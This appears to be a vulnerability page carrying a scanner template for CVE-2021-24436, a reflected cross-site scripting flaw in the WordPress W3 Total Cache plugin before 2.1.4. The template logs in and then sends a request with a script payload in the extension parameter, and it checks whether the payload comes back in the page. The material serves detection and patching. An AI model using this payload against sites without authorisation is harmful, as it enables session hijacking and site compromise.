CVE-2021-24436: WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting

2025-08-01 WordPress W3 Total Cache PoC Public

Description

WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.

PoC

id: CVE-2021-24436

info:
  name: WordPress W3 Total Cache <2.1.4 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.4 is susceptible to cross-site scripting within the extension parameter in the Extensions dashboard, which is output in an attribute without being escaped first. This can allow an attacker to convince an authenticated admin into clicking a link to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.4.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://wpscan.com/vulnerability/05988ebb-7378-4a3a-9d2d-30f8f58fe9ef
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24436
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24436
    cwe-id: CWE-79
    epss-score: 0.01905
    epss-percentile: 0.78685
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,authenticated,boldgrid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension="%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, '><script>alert(document.domain)</script>&action=view')
          - contains(header_2, "text/html")
        condition: and
# digest: 4b0a00483046022100954f64664143d65c71a27add051c2ac5613b307d052d8fec97197cfd1bffed52022100a0836da82e467711e9986c63074f283ce32524e9db553939a841fb69e1101f44:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities